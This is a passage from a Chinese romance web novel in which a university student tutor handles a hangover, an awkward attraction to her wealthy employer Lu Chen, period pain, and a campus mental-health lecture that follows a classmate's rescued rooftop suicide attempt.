“乔小姐,需要我帮忙吗?”
“不用。”
门后响起布料沉重摩擦的声音,不久后,乔望曦出来,消耗了过多的体力,她脸上泛着不健康的红,说话微微气喘:“今天麻烦你了。”
乔望曦有意阻挡陆忱的视线,出来后立刻关上门。
画面一晃而过,陆忱只看到凌乱的床榻,嫁衣和没换好的睡衣堆在床尾,棉被高高隆起,上次抓到的大娃娃将乔听月挡得严严实实,连根头发丝都没露出来。
陆忱庆幸自己是个良心商人,电玩城不卖毒娃娃。
乔望曦拆开醒酒药,再次对陆忱下逐客令。
陆忱没理由留下,快出门时,低头看向乔望曦。
“我查到一些事情,”瞧见她猝然握紧的拳头,他缓缓道:“如果未来她向我求助,我会如实告知。”
28. 醉梦
这一夜,乔听月睡得并不安稳。
耳边残留着夜店的山呼海啸,惹得她间歇性耳鸣,哪怕一直沉睡,颅内神经仍旧一阵阵发胀,血管舒张不断,像是要冲破天灵盖。
眼珠发烫,左右摇摆着,带来一场眩晕扭曲的梦境。
混乱,迷醉。
歇斯底里,炫目灯光,玻璃破碎。
唯一清晰的是与她共沉浮的男人,紫色的太阳高高挂在头顶,身下是琥珀色的海洋,怪鸟呼啦啦飞过一片,飘落的尾羽是嫣红色,遮住她的视线。
浪花卷起又高高拍下,天际线传来一声尖啸。
乔听月睫毛颤了颤,睁开胀痛的双眼。
晕了半晌,伸手寻摸手机,摸到后举到眼前,发现竟然已经中午了。
睡了这么久还是头疼。
床头有水,她翻身支起手臂,将水一饮而尽,压下难受空虚的反胃感。
好在只是头疼,基本的身体机能还在。
乔听月慢吞吞坐起来靠着枕头,尽量不摇晃脑袋,完全清醒后,打开微信。
齐珊珊大清早给她发消息,估摸是熬穿了。
八点。
【珊珊】:姐妹!你还好吗?
【珊珊】:哈喽,收到请回话。
九点。
【珊珊】:醒一醒啊大姐,你别吓唬我啊,我把你弄丢了,我以死谢罪!
十点。
【珊珊】:你人呢出来出来出来!
十一点。
【珊珊】:别怕,我现在就去救你。
十二点。
【珊珊】:天杀的武睿,不告诉我陆忱手机号,你不会真失身了吧,我真该死啊!
和陆忱有什么关系。
乔听月懒洋洋地敲字:我刚睡醒。
【珊珊】:你可算出现了,我都要报警了!
说着,给她发来一张照片,车内视角,正对着江城警察局。
【月亮】:……我没事,就是喝多了。
【珊珊】:都怪陆忱,趁我不在灌你酒。
【月亮】:我自己喝的,没看度数,以后别点这种,太吓人了。
【珊珊】:知道知道,成功没?
【月亮】:什么成功?
【珊珊】:?你俩提前离场,不是去开房了吗?
乔听月吓得手机差点飞出去。
【月亮】:你疯了吧?我昨天回家了啊。
怕她不信,给她拍了一张卧室全景。
对面显示正在输入中,输入了半天,发来一句:陆忱是不是不行?
乔听月好歹是个成年人,她确信她只有宿醉后遗症,身体没有丝毫异样,可她忍不住顺着这句话深思,脑子里嗡的一声,苏醒前的梦境再度浮现。
手指颤抖着回复:他行不行我怎么知道!我要起床了,你赶紧补觉吧。
说完,像扔烫手山芋一般,把手机远远扔到床边。
呆愣愣坐了半天,她把脸埋进掌心,露出一双赤红的耳朵。
喝多了,绝对是喝多了。
酒精害人!
戒了戒了。
心中默念三遍行忌爱,乔听月披上睡衣起床,任由手机屏幕怎么闪,都不再理会,决绝地出门。
乔望曦第一时间发现她,“醒了?难不难受?”
乔听月不想让她担心,说了句“还行”,接着问:“姐,我昨天怎么回来的?”
“你不知道?”
乔听月下意识摇头,第一下眩晕感升起,她生生止住动作。
“不知道。”
她就感觉上一秒还在和陆忱聊天,下一秒天就亮了。
乔望曦道:“昨晚是陆先生送你回来的。”
难怪齐珊珊胡说八道。
乔听月暂时没法面对陆忱,想着等彻底冷静了再感谢他送她回家。
“姐,你吃饭了吗?”
乔望曦点头,“锅里煮了鱼片粥,你现在吃还是再等一会?”
“再等一会。”
醉酒后身体燥热,止不住流汗,再加上半醉半晕的梦,乔听月现在急需冲个澡。
洗澡的功夫,乔听月自我唾弃了一番,并且做了深刻的反思和检讨。
水流不断,姐姐的声音若有若无。
“月亮,有人给你打电话!”
乔听月关了花洒,往身上涂沐浴露,“谁啊?”
“祝承信舅舅,陆,”乔望曦念出备注,“应该是陆先生吧?”
乔听月动作慢下来,嗓音发涩:“啊对,你不用接,我一会给他回。”
——
乔听月吃完饭后才给陆忱回电话。
在此之前,她做了一套教资科二试卷,准确率百分之九十。
拨通后铃声响了十多秒,对面接起来。
“早啊乔老师,才醒?”
尾音轻微上扬,慵懒又散漫。
乔听月歪了下头,笔尖漫无目的地滑动,“已经中午了,您也刚醒?”
“嗯,洗了把脸,吃早饭呢。”
两人一早一午各说各的,乔听月听见餐具碰撞的声响,除此之外,四处都静悄悄的。
伴随着细微的咀嚼声,陆忱问:“解酒药吃了吗?头疼不疼?”
乔听月想到床头的半杯水,原来是昨夜配醒酒药用的。
“吃了,”陆忱见过她喝醉的样子,所以她说起后遗症没什么负担,“还有点疼,稍微动一下都晕。”
陆忱柔声道:“正常,多亏你先前吃了点水果,不然更难受。”
乔听月羞赧:“昨天谢谢您送我回家,又给您添麻烦了。”
“麻烦到是没有,你一直在睡觉,”陆忱停顿,“不过你手劲儿还挺大的。”
乔听月没反应过来:“啊?”
陆忱慢条斯理地翻旧账:“你昨天给了我一巴掌,特疼。”
他明明说的是中文,她的大脑怎么无法处理人类语言了?
乔听月脑子里的齿轮又开始生锈,绞尽脑汁怎么也想不起这一段,但是陆忱根本没必要骗她。
所以她真的扇了他一巴掌。
恩将仇报啊乔听月!
她半天不吭气,陆忱逗她:“放心,我不会因为你左脚踏进别墅就开除你的。”
“实在对不起陆先生!”尽管他看不见,乔听月还是以头抢桌。
“咚”的一声,那叫一个响亮,听着就疼。
陆忱听见她小声吸气,无奈道:“你昨天喝醉了,只不过动动手,酒品已经很好了。”
“况且不是你的问题,是我先打扰你睡觉来着。”
乔听月心中的愧疚减轻许多,想追问陆忱为什么打扰她睡觉,话将出口还是刹住车,直觉不能再问了。
通话对面,陆忱觉得遗憾。
只要她接着问,他就可以简单讲讲公主抱她上八楼的事,多难得的展现男友力的机会。
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这时,一道不太真切的声音传出听筒。
“忱哥!昨晚过得怎么样?”
只有武睿会这么和陆忱说话,语气和齐珊珊如出一辙。
不知道为什么,乔听月忽然心虚。
“啧,烦不烦。”
陆忱笑骂,似是走远了些,武睿还在嚷嚷,但已经囫囵听不清了。
“武睿昨天喝多了,在我家睡的。”
他说得很自然,乔听月却有些手足无措。
她不知道该怎么回应。
顺着他的话往下聊,但他们并不是可以涉足对方朋友圈的关系。
不接话让话落地,又显得失礼,不给他面子。
察觉到她的局促,陆忱十分通情达理地提出结束通话:“不打扰你休息了,我就是想确定一下你的身体状况,如果明天还是觉得不舒服……”
“嗯?”乔听月疑问。
“学校停电,”陆忱含糊地笑,“给你放假。”
昨夜灯红酒绿匆匆掠过脑海,男人倚着沙发,眼底热浪翻涌,缓缓叙说蛊惑之语。
乔听月脸刷一下红了。
电话挂断,乔听月手底下的卷子被涂得一塌糊涂,手上也沾了一层未干的油墨。
她把卷子团成一团扔到垃圾桶里,艰难抚平心底的躁动。
昨夜的酒和刚刚的通话,都太超过了。
“嗡嗡嗡——”
手机突然又振动。
乔听月吓了一跳,拿起手机时,心尖莫名奇妙地颤了颤。
抚了下心口,接通:“珊珊,怎么了?”
齐珊珊懒洋洋道:“刚才导员说下午两点开会,用不用给你请假?”
乔听月奇怪:“怎么临时开会?”
“昨天有人跳楼,学校估计是紧张了,”齐珊珊塞车塞得来气,用力按喇叭,“要是不请假,我顺路去接你。”
乔听月看了眼时间,做地铁肯定来不及。
“行,那麻烦你接我吧。”
“OK,我估计半小时能到,你不用着急。”
通话结束,乔听月立刻换衣服,怕齐珊珊找不到单元楼,打算去小区门口等她。
临走前,她去厨房检查冰箱,“姐,下午学校开会,你要是饿了就垫吧一口,等我回来做饭。”
乔望曦皱眉,“什么会这么着急,不能请假吗?”
“听说有人自杀,”乔听月一边换鞋一边答话,“估计是心理健康之类的,我去听听,走了啊。”
门关上,乔望曦望着门上晃晃悠悠的平安符,久久没有动作。
——
不到半小时,粉色小马漂移到乔听月面前停下。
乔听月替她心疼轱辘,“醒酒了吗就开车?”
齐珊珊倒车,“放一百个心,压根没喝多。”
“讲讲吧,怎么被陆二少灌醉了?”
“我这酒量还用灌啊,”乔听月自嘲,“非要追根究底,我主动给他倒的酒,明明是我灌他。”
齐珊珊乐了,“要我说啊,断片儿也不错,万一真迷迷糊糊的,不好收场。”
乔听月不觉得。
陆忱光风霁月正人君子,断然不会稀里糊涂地和她发生关系。
“不说这个了,跳楼怎么回事?”
“压力太大,抑郁症,”齐珊珊语气怜悯,“好在发现及时,没跳成。”
“有人录视频了,到学校我传给你。”
29. 视频
卡着点到阶梯教室,正好赶上点名,导员看了她俩一眼,让她们赶紧找位置坐。
李盈在最后一排占了座,挥手让她们上来。
点完名,会议开始。
先大概讲了学生跳楼的事,告诫大家不要四处传播,尤其不要在社交平台发布相关内容,以免抹黑学校形象。
再就是强调心理问题,一旦发现自己或室友有明显变化,一定要联系导员和学校心理咨询室。
齐珊珊小声道:“月亮,视频我传给你了,你看看收没收到。”
乔听月打开聊天框,点击下载视频,阶梯教室信号差,网络时有时无,她放下手机,“我等出去再看。”
这时,心理小短片播放结束,导员道:“周三晚上八点,学院给大家请了心理学院的白教授上课。”
乔听月皱眉,想着会议结束跟导员请个假。
最近陆忱给她放了太多带薪假,她心里过意不去。
然而导员下一句说:“心理课作业计入综合绩点,定位签到,不允许任何人缺席。”
多犹豫一秒都是对绩点的不尊重。
乔听月给陆忱发消息。
【月亮】:陆先生,我下周三晚上临时加了一堂心理健康课,得跟您请个假,实在不好意思。
【月亮】:[会议ppt照片]
请假要有凭证,这ppt上的课程表可盖着学院章呢。
陆忱没回,估计是在工作。
乔听月正要锁屏,视线不由自主落在他的头像上。
湛蓝无垠的大海变成了粗糙的布娃娃,麻花辫,小红裙,两个圆圆的红脸蛋。
这个布娃娃她有印象,摆在游戏室架子第三排第一个。
陆忱这样的人,怎么会用布娃娃做头像,好怪。
不过看久了还挺可爱的。
乔听月想点开大图看看细节。
“月亮,”齐珊珊撞了下她手肘,“发什么呆呢,导员叫你。”
“什么?”乔听月回神。
齐珊珊指了指下面,“导员说让你去找他。”
乔听月快步走到讲台,“汪哥,你找我。”
导员叫汪聪,研究生毕业来A大任职,年轻不端架子,同学们都亲切地叫他汪哥。
“挺久没见了啊,最近忙什么呢?”
乔听月是班干,在学校经常和汪聪打交道,因为退宿回家就辞了职位,但是班里有活还是先联系她,之后她再找其他人协调。
她应道:“找了份兼职。”
汪聪递给她一张表格,“喏,这是学校今明两年的支教计划和国际交换生计划,我不建议你立即申请,具体的你要和罗老师商量。”
乔听月如获至宝,她深知保研不是终点,学无止境,支教可以丰富履历,国际交换可以提升自身价值。
“谢了汪哥,改天请你吃饭。”
汪聪点头,“那我可记下了,随时等你微信。”
现在最稀缺就是信息资源,一顿饭换汪聪这张表格,是乔听月赚了。
“没问题,有想吃的微信告诉我,不用和我客气。”
汪聪还有工作不能多聊,乔听月送他出教室,转身对上两双八卦的眼睛。
齐珊珊打听:“导员找你什么事?”
李盈嬉笑着扒拉她,“明知故问,指定是约月亮吃饭啊,我就看那老小子不对劲。”
“他就比咱大四岁,”乔听月无语,“是我请他帮忙,你俩在这瞎误会什么。”
“就你缺根筋,”齐珊珊挽着李盈,“我俩要去食堂,你去不去?”
“我就不了,我姐还等我回家呢。”
——
晚餐之后,乔听月对着表格搜索相关信息,把请假的事忘得一干二净。
一半项目都是内部消息,网络上根本搜索不到,要不是汪聪,她甚至永远都没法知道。
视线落在最后一个项目上,交换院校在英国,为期一年。
如果申请成果,借此机会带姐姐一起去,兴许她的腿疾能有转机。
乔听月在项目上打了个星号,把表格夹在书柜两本书之间,准备洗漱睡觉。
洗漱回来,看见从她回屋就被扔在床上的手机,脑子嗡的一声。
扑到床上划开手机,微信有几条,未接两个。
她往上翻记录。
【祝承信舅舅(陆)】:是遇到什么麻烦了吗?
-还在忙吗?
-忙完记得回消息。
-在忙吗?
-可以,学校课程更重要,一切以你的时间为准,不用觉得麻烦。
-“祝承信舅舅(陆)”拍了拍我说:“起床学习。”
正疑惑陆忱为什么拍她,结果上一条就是。
我拍了拍“祝承信舅舅(陆)”
乔听月抓了抓头发,她的请假消息加上拍一拍,很容易被理解成催促回复啊。
虽然尴尬,但当务之急还是回消息。
她没想到陆忱会发多条消息,甚至打电话来关心她的动向,来自老板的体贴实在是太沉重了。
【月亮】:不好意思陆先生!我刚刚在查资料,没有麻烦,让您担心了。
【月亮】:[小猫拱手]
【祝承信舅舅(陆)】:那就好,现在忙完了?
【月亮】:嗯嗯,本来也不是很急的事,就是不做完心里不舒服。
【祝承信舅舅(陆)】:头还疼吗?
【月亮】:已经好多了,明天可以正常上班。
【祝承信舅舅(陆)】:好,那就不打扰了。
乔听月刚打出“好的”,屏幕突然弹出视频请求,她稍作犹豫还是接了,入目一片漆黑。
她叫了一声:“陆先生?”
“嗯?”从鼻腔哼出声疑惑。
窸窸窣窣的声响后,画面一转,陆忱入镜。
他没穿上衣,肌肉线条顺畅有型,洁白无瑕的白玉无事牌坠在黑色编织绳上,格外引人注意。
忽然,一道水迹烫了乔听月的眼,顺着向上,陆忱头发潮湿,发尾还在滴水,他正拎着条毛巾擦拭。
从陆忱的屏幕中看,少女的视线不知道该往哪放,索性直直放空,像只煮熟的虾子般,脸蛋慢慢地越来越红。
他披上睡袍,笑着唤她回神:“乔老师。”
“陆陆陆先生,”乔听月磕磕巴巴,强忍着没把头埋进被子里,“您、您打视频是还有别的事吗?”
“没事,手上有水,不小心按到了。”
陆忱解释,见她的背景是床头,问道:“已经准备睡了?”
乔听月把被子往上提了提,“嗯,您还不休息吗?”
“我刚洗完澡,还得等会,”陆忱去洗手间送毛巾,带着手机逛了大半个卧室,“挂了吧,你早点休息。”
“好的,您也是。”
乔听月语速很快,挂断后确定没有问题,才长长舒了口气。
“当当当!”
乔望曦敲门,“月亮,刚刚你在打电话吗?”
“对!”乔听月冲着门
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回应,“周三有课,我和陆先生请个假。”
“别熬夜,早点睡。”
“好!”
听见关门的声音,乔听月躺进被窝,一闭上眼,视频画面就不受控制地蹦出来。
那道灼热的水痕流淌过下颌,振动的喉结轻轻滚动,又陷进锁骨之间的凹陷窝里,不知疲倦地蜿蜒而下。
白玉无事牌未经雕琢,两侧是饱满的胸肌和——
打住!
不能再想了。
乔听月猛地坐起来,本来查资料查得头昏脑涨,现在她精神得快要神经了。
她倒坐过来,脚面勾着床头做仰卧起坐,释放无处发泄的精力。
只要她做得够快,就可以把陆忱的身体甩到九霄云外。
一连做了五十个,她心如止水地躺回被窝,闭上眼,画面变了,系统升级配上了声音。
【陆忱擦拭头发,说:“我刚洗完澡。”】
刚洗完澡!
上身裸着,那岂不是——
乔听月彻底睡不着了。
她忽然就明白了那句话,男人的魅力,女人的想象力。
曾经齐珊珊和李盈在宿舍搞女性向视频鉴赏,她也被拉着观赏过几部,只觉得索然无味。
刚才陆忱半露不露,既大方又遮掩,反倒让她悸动难安。
实在睡不着,乔听月打开手机搜助眠视频,下拉界面看见日历提醒。
【月亮宝贝,明天是月经期第一天,你做好准备了吗?】
乔听月生理期很准,前后不会相差三天。
看到提醒,她跳动的心逐渐平息。
一定是激素影响。
助眠视频播放着白噪音,她平躺着,双手搭在小腹,将注意力全部集中在呼吸,脑中的画面慢慢模糊破碎。
失去意识前最后一点念头,是不是到年纪该谈个恋爱了。
——
翌日,乔听月早早醒了,本想翻身继续睡,不料一股明显的湿意袭来,脑子还没清醒,身体已经条件反射地行动了。
她小声念叨“完了完了”,火急火燎爬起来,在洗手间好一顿收拾。
由此,她更加确定昨夜的异样是激素影响。
乔望曦听见动静也醒了,见她在洗内裤,问道:“怎么了?”
乔听月怏怏道:“姨妈造访。”
她经期轻微痛经,小腹下坠压迫的滋味十分不好受,昨晚又发癫做了仰卧起坐,现在小腹里外都疼。
问就是后悔。
乔望曦给她冲了红糖水,“昨儿晚上你折腾什么呢,叮了咣当的。”
乔听月面色讪讪,“失眠睡不着。”
“心里有事?”乔望曦关心道,“可以跟我说说。”
乔听月用力搓内裤,尽量自然地问:“姐,谈恋爱什么感觉?”
乔望曦顿时怔住,半晌,语调生涩:“你有喜欢的人了?”
“没有,”乔听月立即否认,找了个模棱两可的借口,“我就是想趁年轻,把该体验的事都体验一遍,感觉再过几年,可能就没劲头了。”
乔望曦把暖宝宝抱得更紧了,“你说得对。”
接着,温言细语道:“要是想体验恋爱的感觉,最好找个同龄人,有时间和你约会,有精力哄你开心,要是真合拍,别忘了带给我看看。”
乔听月只是初步有个念头,不过还是承诺:“姐,我要是谈恋爱了,一定第一时间跟你说,到时候你可得给我当军师。”
乔望曦笑她:“你先找到再说吧。”
30. 心动
傍晚,乔听月恢复假前行程,去接祝承信放学。
等人的时候,司机从手扶箱里翻出一张蓝色圆形卡递给她。
“我洗车时捡着的,看着像电梯卡,你看是不是你的。”
实际上,他很确定这就是乔听月的东西。
这辆车曾经是陆忱的专用车,现在已经完全变成乔听月的通勤车了,出现无主之物,找她准没错。
乔听月昨天出门时发现电梯卡丢了,本以为掉在夜店,没想到落在陆忱车上,失而复得,省了办卡的费用和时间。
“谢谢,”她有点不好意思,“应该是前天落下的。”
司机一拍大腿,“我想起来了,估摸是先生给你拿衣服的时候,不小心滑出来了。”
提到陆忱,乔听月没来由地紧张,手微微攥紧,被掌心的电梯卡硌了一下。
脑中念头闪过,她不动声色道:“麻烦你了,送醉鬼回家应该挺困难的吧。”
司机摆摆手,“不困难,我就开个车,都是先生抱你走的。”
司机对那晚记忆深刻,不需乔听月引导便侃侃而谈:“凌晨风特别大,羽绒服根本盖不住你全身,先生怕你着凉,把你护得可紧,我买完醒酒药回来,才发现先生的外套还留在车里。”
乔听月身体前倾,追问:“之后呢?”
“之后我就上楼送药啊,先生给我按的电梯。”
说罢,他察觉出怪异,小声嘟囔:“也不知道先生怎么上去的。”
乔听月垂眸,掌心不小心遗失的电梯卡无声昭示着最终答案。
那个时间段压根等不来邻居,除了爬楼没有第二条路可选。
她记得四层的住户很喜欢开窗,以至于冷空气流通,整个安全楼梯总是凉飕飕的。
她努力设想那个画面,却仿佛丧失了想象能力,脑袋空荡荡的,匮乏的思维只剩下一个念头。
凌晨风寒,他没穿外套。
其实她喝醉不关陆忱的事,他本可以把她留在卡座,实在担心,守到齐珊珊回来再安置也算仁至义尽,完全没必要亲自送她回家。
可他偏偏送了。
挨巴掌,爬楼,买药,事后又轻轻揭过。
他图什么呢。
——
这个问题在见到陆忱的刹那戛然而止。
陆忱还穿着视频里那身,没了画面滤镜,睡袍上黑金花纹清晰可见,衣领平顺地翻折,V字形领口向下交叉在胸口正中,卡在黑绳白玉边缘。
他坐在沙发上,双腿交叠,睡裤往上抻,不经意露出脚踝,跟腱细长,线条流畅,牵扯着迅捷且攻击力十足的爆发力。
昨天他穿睡裤了吗?
乔听月被自己的想法吓了一跳,赶忙问吴叔要了杯水,压下心头的燥热。
她现在不想知道陆忱图什么,再看下去,她可能才是有所图的那个。
一整晚,乔听月都有意躲着陆忱。
但身在陆家,总有避之不及的时候。
从洗手间出来,乔听月脸色略微泛白。
痛经,卷腹带来的酸胀,兴许还得加上压火的白开水,深刻地给她上了一课,身体才是主人,她根本没有主动权。
靠着墙,捂着小腹站了一会,挪动脚步上楼。
迈上台阶,小腹顿时开始作乱,里面像是装了只横冲直撞的袋鼠,不由分说打了她一套组合拳。
从来没这么疼过。
别墅暖气很足,她却疼得浑身冒冷汗,四周没有凭依,她只能紧紧扶着扶手,慢吞吞地坐下来。
“乔老师,你怎么了?”
声音仿佛是凭空出现的,话音刚落,男人便出现在她身边。
乔听月掌心撑地,发现不知道什么时候,楼梯上铺了层地毯,遮掩了陆忱向来不急不躁的脚步声。
“陆先生。”
她一边小声叫他,一边握着雕栏扶手,试图借力站起来。
“抱歉。”
陆忱弯腰,手臂穿过她腿弯,另一只手扶住她的后背,见她还呆呆攥着扶手,轻轻在她后背拍了拍,“搂着我,小心受伤。”
乔听月伸手推他肩膀,“不用,我自己能走。”
推不动。
陆忱打定主意要抱她上楼。
力道落在肩头软绵绵的,很难想象,这只手曾经摔过一个流氓。
陆忱借机捏住她的手腕攀上自己脖颈,将人轻松抱起来,顺手往上掂了掂调整姿势。
猝不及防的腾空让安全感迅速流失,乔听月下意识用力搂紧陆忱。
陆忱脚步很稳,“别怕,不会摔的。”
“扑通、扑通。”
有节奏的心跳声传进耳膜,乔听月不发一言。
比起经期体温上升的她来说,陆忱的体温像极了他胸口那块白玉。
睡袍被蹭的敞开不少,乔听月完全不敢睁眼,光是嗅到他身上的红茶薄荷味道,就已经开始晕眩。
“扑通扑通扑通——”
心跳声越来越快。
乔听月睫毛颤动。
她默默地想,运动时心跳加快是人体正常现象,况且陆忱算是负重训练。
“乔老师,”陆忱嗓音低哑,“你抓得有点太紧了。”
乔听月指尖一颤,丝滑的衣料顺着指缝滑下去,他胸口明晃晃多了几个指甲印。
陆忱不介意让她抓,只是她那力道一会轻一会重,猫挠似的磨人。
乔听月嘴唇嗡动。
“不用道歉,”陆忱堵住她的话,“我不介意。”
乔听月想把自己埋起来,一扭头,鼻尖蹭过温凉的皮肤,她顿时僵成一块木头。
道歉的话不允许说,她完完全全丧失了语言系统,假装自己是一个布娃娃,不看不听不说话。
“吱——砰!”
安静的氛围被巨大声响破坏。
陆忱明显感到怀中的人瑟缩了一下,他看向声源处。
祝承信目瞪口呆,先捂眼睛再扶凳子。
“对不起对不起,我不是故意的,”他在原地转了两圈,忽然觉得不对,“内什么,你俩是不是走错地了,这是书房。”
听见祝承信的声音,乔听月挣扎着要下来。
她以为陆忱会把她放在书房门口,怎么直接给她抱进来了?
在学生面前形象受损,岂不是威严崩塌,说话没有力度了。
陆忱怕摔了她,扣在她背上的手掌微微用力,“别乱动,坐下再说。”
祝承信见陆忱把乔听月放在沙发上,飞快往外走,“我先出去了,给你俩腾地儿——诶诶诶——”
陆忱眼疾手快扯住他的衣领,把他拽了个仰倒。
“别捣乱,老师身体不舒服。”
最疼的那阵已经过去了,乔听月
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看着祝承信八卦的小眼神,一个头两个大。
直白道:“生理期,痛经,生物课学没学过?”
祝承信一脸“就这”,点头:“学过,你肚子疼啊?”
乔听月直勾勾盯他,“嗯,肚子疼,疼得走不了路,陆先生凑巧帮我一把,小破孩瞎合计什么呢。”
她说的是祝承信,实际上她很清楚告诫的是自己。
别瞎想。
不要在激素控制大脑的时候做出错误论断。
祝承信撇嘴。
不是凑巧。
陆忱就是去堵人的。
他今天特意早退,换上睡袍在客厅等乔听月,想着加深她的印象,最好梦里都是他。
谁料她看灯看门就是不看他,好不容易对上视线,下一秒她立刻闭眼,一副眼不见为净无欲无求的菩萨模样。
刻意,拙劣。
欲盖弥彰。
险些把他气笑。
不过这些不可说的小心思,在见到少女虚弱地靠着楼梯时,顷刻间烟消云散。
陆忱无比庆幸刚刚沉不住气,做出堵人这般幼稚的举动。
他给乔听月倒了杯温水,问她:“怎么不喊人?”
乔听月握着水杯,“忍忍就好了。”
陆忱明白这是她的隐私,他们关系不够亲近,她才羞于开口。
舌尖蹭了下犬齿,问她:“之前也疼?”
乔听月能跟祝承信理直气壮讲科学,面对陆忱却张口结舌。
转念想到他身上还藏着她抠出来的指甲印,摇了摇头,“这次是意外。”
意外,那就证明没有丰富的处理经验。
难怪把自己疼得站不起来。
陆忱拿起手机出门,五分钟后,拎着袋药回来。
他站在乔听月身边拆药盒,“水还热吗?”
乔听月抿了一口,挑选出一个合适的形容词:“不凉。”
陆忱垂眸,取走水杯,把水倒进花瓶,重新添了一杯温水,从药板上按出一粒药,递给她。
“问过医生了,医生说止痛药效果最好。”
乔听月没多问,那胶囊放进嘴里,就着水吞了。
她讨厌吃药,讨厌药片融化在口中散发出苦涩的味道,讨厌胶囊卡在嗓子里,只能靠水往下吞的滞涩感。
她一个劲喝水,压下那股异样的感觉。
陆忱看出她艰难,等她全咽下,“医生说,第一天疼得最厉害,之后就好了。”
他语气很自然,不是那种置身事外,冷冰冰的公事公办,而是温和地转述,带着关心,还有微不可查的拘束。
乔听月捕捉到那一丝不同,并未拆穿,捂着小腹,仰头对他笑,“我知道了,谢谢您。”
陆忱移开目光,看向复古钟表,“时间还没到,你休息一会。”
乔听月靠着沙发等止疼药起效,面色依旧苍白,睫毛时而不安颤动,嘴角却牵起淡淡的微笑。
她当然了解月经周期的变化,但是已经这么难熬了,贪图一次关怀或许也不为过。
掌心热度渐渐渗透衣服,焐热寒凉的小腹,周遭一点声儿都没有,乔听月好像又听见那道有力的,蓬勃着荷尔蒙气息的心跳声。
再仔细听,不是陆忱的心跳,是她的。
雀跃,沉重,她说不好。
总之小心翼翼,连自己也瞒着。
31. 逃课
生理期头两天格外不好过,乔听月全靠止疼药撑着,好在陆家优待员工,靠垫暖宝宝一应俱全,火炉上随时温着姜汤红茶,工作时间反而比休息时更惬意。
周三有心理课,临近上课,乔听月才想起齐珊珊转发的视频。
视频拍摄者非常不专业,开头不停地调整倍数和焦点,晃晃悠悠看得人头晕。
跳楼的是个女生,不知道用了什么办法悄无声息地撬开天台门锁,深更半夜爬了上去。
如果她没记错,那晚至少零下十度,她就穿了个睡裙,坐在天台边缘,棉拖鞋中途掉下去一只,闷闷地砸在地上。
很快,一男一女出现在镜头中,推测是导员和心理学院的白教授。
白教授高挑偏瘦,长风衣里面是睡衣,估摸是被辅导员一个电话从被窝里挖出来了。
交谈了几句,女生的情绪迅速爆发,声带嘶哑,带着哭腔叫喊,囫囵不清,听视频里其他围观者的解说,似乎涉及到家庭矛盾。
经过白教授的安抚,女生逐渐平静,呜呜咽咽地哭泣,像寒冬里被抛弃的小兽,趁她哭泣,白教授将她拉回安全地带,辅导员将人按住,最后合力扶着女生离开天台。
乔听月把视频拉回白教授出镜那一帧,反复观看。
不知道为什么,她有种似曾相识的感觉。
齐珊珊把视频发在了宿舍群里,视频下边有几条关于跳楼女生的聊天记录。
【齐大公主】:听说是因为男朋友出轨妹妹,她父母拉偏架。
【摄影大师】:这么恶心?
【齐大公主】:是啊,平时她省吃俭用,供她妹妹大学生活费,去年领男朋友见家长,不出一个月俩人就勾搭到一起去了。
【摄影大师】:卧槽,好毒的一家人,那她跳楼岂不是亲者痛仇者快。
【齐大公主】:她还哪有亲者了,不过这个姐妹一开始挺清醒的,全程通话录音,最后是听见她妹妹说“你要是恨我,我死了给你赔命”,后面她父母上升侮辱才崩溃的。
【摄影大师】:唉,好可怜啊。
乔听月光看文字就觉得心酸,这世界上竟然还有这样狠毒的父母。
“在看什么?表情这么严肃。”
乔望曦摇着轮椅过来。
乔听月放下手机,和她大概讲了跳楼事件的始末,见她神情落寞,拉起她的手,“我们永远是天底下最亲密的姐妹,只要姐姐想要,我一定尽全力帮你得到。”
乔望曦敲她额头,“说什么傻话,你能陪在我身边,我就已经十分满足啦。”
乔听月把头放在靠着她肩膀上,哪怕这个姿势很累,她依旧笑着说:“我当然会一直陪着你。”
这世上,只有她们血脉相连了。
——
晚上六点,大教室人满为患。
历来心理课都是公认的水课,没有学分牵制,小部分人会选择逃课。这次例外,座位全坐满了不说,连过道都有人自备坐垫。
乔听月提前二十分钟到教室,在倒数第二排角落堪堪找到了联排的位置,坐下后在宿舍群发消息让她们快点来,她不确定能保住空位。
好在大学生普遍素质高,问过得知座位有人就自行离开了,没有为难她。
齐珊珊收到消息连忙赶来,穿过拥挤的过道,“我的天,怎么这么多人?”
李盈理所当然道:“白教授的课诶,很多人来蹭课的。”
乔听月不明白:“大好时光不出去溜达,来上心理辅导课?”
“白教授已经彻底变成校内红人了,”齐珊珊侃侃而谈,“一开始他凭借颜值和履历小范围了火了一段时间,这次跳楼事件结束才大范围出圈的。”
李盈接话:“这已经是第二波热度了。”
乔听月无言以对,是早八不够累还是考试题不够难,竟然还有心思校内追星。
上课铃打响,教室内安静下来。
讲台上迟迟没人出现,学生们等了十多分钟开始低声议论。
老师上课迟到算教学事故,遇到这种情况,大家第一时间联系教务处。
少顷,一个女生匆匆忙忙跑进来,插上U盘,一边调课件,一边和大家解释:“我是白教授的学生,也是本堂课的助教,医院临时有事耽搁了,白教授正在赶来的路上。”
白教授是心理医生,医院有事实则是患者出了问题,心理疾病闹大了关乎人命,大家表示理解。
“请各位同学打开校园通,咱们进行定位签到,定位照片需要拍到我以及屏幕上的课件,限时三分钟,请抓紧时间。
“利用这个时间我简单说说成绩,课程结束一周内,每位同学上交一篇800字以上的学习感悟,不会挂科的哈,大家放心。”
最后一句说完,教室内响起此起彼伏的感叹声。
齐珊珊小声道:“白教授还挺良心的。”
乔听月拿出笔记本,“认真听,万一以后用得上呢。”
助教说完,开始播放视频,“这是白教授参与录制的纪录片,记录了微笑抑郁症和阳光抑郁症两种疾病类型,视频一共二十分钟,届时白教授会围绕视频内容进行授课。”
视频播放到一半,乔听月余光扫到退至一旁的助教。
助教抬头看了眼电子时钟,翻出头绳扎头发,手指拢了几下,披肩发变成高马尾。
乔听月眯了眯眼,座位离讲台太远,看不清长相,只依稀觉得身形熟悉,好像在哪见过。
视频播放结束,白教授还没到,大家进入自习状态。
乔听月闲来无事,想着关心一下祝承信的情况,于是给陆忱发消息。
【月亮】:陆先生,小信在学习吗?
片刻后,陆忱回信:小信离家出走了,我正在找他。
乔听月神色一凛,小声对齐珊珊说:“我出去打个电话,要是有重要的事你帮我记一下。”
悄悄离开教室,乔听月先给祝承信打电话,能拨通但没人接。
臭小孩多大了还搞离家出走这一套,真不让人省心。
一连打了两个,都是同一种情况。
她心里蓦地有些慌乱。
未作犹豫,乔听月拨通了陆忱的手机。
一声后接通,“陆先生,小信现在安全吗?”
陆忱声音低沉,听起来情绪不太好:“安全,五分钟前他买了一碗泡面,我去便利店没找到人,现在正在查监控。”
